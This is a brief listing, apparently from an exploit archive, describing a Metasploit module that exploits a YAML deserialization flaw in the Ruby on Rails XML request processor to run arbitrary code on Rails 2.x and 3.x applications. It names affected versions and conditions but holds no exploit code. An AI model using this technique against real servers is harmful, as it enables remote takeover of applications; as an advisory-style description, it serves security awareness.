Ruby On Rails XML Processor YAML Deserialization Code Execution

Ruby On Rails XML Processor YAML Deserialization Code Execution
Posted Jan 11, 2013
Authored by H D Moore, lian, espes, charliesome | Site metasploit.com

This Metasploit module exploits a remote code execution vulnerability in the XML request processor of the Ruby on Rails application framework. This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This Metasploit module has been tested across multiple versions of RoR 3.x and RoR 2.x The technique used by this module requires the target to be running a fairly version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be exploitable using the init_with() method, but this has not been demonstrated.
